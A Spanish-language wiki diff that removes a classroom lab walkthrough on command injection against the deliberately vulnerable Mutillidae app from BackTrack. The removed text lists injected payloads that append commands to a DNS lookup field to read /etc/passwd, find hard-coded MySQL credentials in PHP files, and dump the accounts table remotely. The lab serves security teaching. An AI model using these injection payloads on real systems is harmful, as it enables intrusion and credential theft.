Herramientas de usuario

Herramientas del sitio


sad:fedora14:p2

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

sad:fedora14:p2 [2018/01/24 15:22]
José Manuel Guallar
sad:fedora14:p2 [2019/01/04 13:18]
Línea 1: Línea 1:
-**¿Qué es Inyección de Comando?** 
- 
-La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial ​ vulnerabilidad se produce cuando una aplicación web le permite hacer un nslookup, whois, ping, traceroute y más desde nuestra página web. 
- 
-Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";"​ o "​|"​ o "​||"​ o "&"​ o "&&"​ se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd). \\ 
-** 
-¿Qué es Fuzzing?** 
- 
-La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador. ​ 
- 
-Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos. 
- 
-**practica requisito** 
- 
-  * Instalar Mutillidae en Fedora 14 
-  * Instalación de BackTrack 5 R1 
- 
-**Notas de la practica** 
- 
-En esta practica haremos lo siguiente: 
-  * Explotar una vulnerabilidad de fuzzing de inyección / ejecución de comando. 
-  * Reconocimiento del sistema operativo 
-  * Registro de inicio de la aplicación Reconocimiento 
-  * Reconocimiento de base de datos 
-  * Codificación de PHP Script para ver los contenidos 
-  * Conexión remota a la base de datos 
- 
-Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack ​ 
- 
-{{:​sad:​fedora:​p2:​01.png?​500|}} 
- 
-Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia 
- 
-[root@fedora14 estudiante]#​ service mysqld start 
- 
-02 
- 
-voy al Backtrack y escribo en el navegador ​ http://​ip-fedora/​mutillidae 
- 
-03 
- 
-vamos a ver como funciona DNS Lookup 
- 
-vamos a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup 
- 
-index13 
- 
-El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS. 
- 
-04 
- 
-Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando. 
- 
-El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing. 
- 
-A continuación,​ ejecutará el comando "uname -a", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo 
- 
-www.colegiomontessori.com;​uname -a 
- 
- 
-05 
- 
-Realizar Reconocimiento 
- 
-Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? 
- 
-Ahora vamos a ejecutar el "​pwd"​ para mostrarnos el directorio de trabajo actual. 
- 
-Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php 
- 
-entonces ejecutamos www.colegiomontessori.com;​ pwd 
- 
-06 
-Interrogar la aplicación dns-lookup.php 
- 
-Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. 
- 
-Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. 
- 
-www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​ 
- 
-07 
- 
-Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup 
- 
- 
-Ahora vamos a descubrir la Base de Datos usando el fichero /etc/passwd 
- 
-Vamos a buscar en /etc/passwd algunas de las siguientes palabras 
- 
-  postgres, sql, db2 y ora 
-  ​ 
-para eso vamos a escribir 
- 
-www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​ 
- 
-LOL LOL LOL nos dice que mysql es la base de datos que están usando 
- 
-08 
- 
-Vamos a descubrir el motor de base de datos con el comando "​ps"​ 
- 
-Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora. 
-    Instrucciones:​ 
- 
-www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres | sql | db2 | ora)' 
- 
-El mysqld (daemon) se está ejecutando. 
- 
-09 
- 
-Ahora vamos a listar todos los scripts de php 
-Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​       Pero, primero enumera todos los scripts php. 
- 
-www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ 
- 
-10 
- 
-podemos ver una multitud de scripts para interrogar 
- 
-Buscar scripts php para la contraseña de cadena 
- 
-Ahoravamos a buscar en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​. 
- 
-www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​ 
- 
-y observamos la respuesta 8-om(8-o 
- 
-11 
- 
-y ahora observamos que en MySQLHandler.php contiene la siguiente cadena: 
-        $mMySQLDatabasePassword = "​samurai";​ 
- 
-12 
- 
-Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login 
- 
-www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​ 
- 
-13 
- 
-Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _... 
- 
-Mostrar MySQLHandler.php 
- 
-Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. 
- 
-Es posible visualizar los contenidos del programa MySQLHandler.php,​ codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php.  
- 
-Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;". 
- 
-www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​ 
- 
-14 
- 
-Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos 
- 
- 
-    static public $mMySQLDatabaseUsername = "​root";​ 
- 
-    static public $mMySQLDatabasePassword = "​samurai";​ 
- 
-    static public $mMySQLDatabaseName = "​nowasp";​ 
- 
-Ahora podemos ir al terminal de nuestro Backtrack 
- 
-root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai 
-mysql> show databases; 
-mysql> use nowasp; 
- 
-15 
- 
-Ahora vamos a nevegar por la tablas 
- 
-Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña 
- 
-16 
- 
- 
-mysql> select * from accounts; 
-mysql> quit; 
- 
-17 
- 
-**''​Print de pantalla a entregar''​** 
- 
-<code bash> 
-root@bt:~# cd 
-root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "​select * from nowasp.accounts"​ > account.txt 
-root@bt:~# ls -l account.txt 
-root@bt:~# date 
-root@bt:~# echo "Tu nombre"​ 
-</​code>​ 
- 
- 
  
sad/fedora14/p2.txt · Última modificación: 2019/01/04 13:18 (editor externo)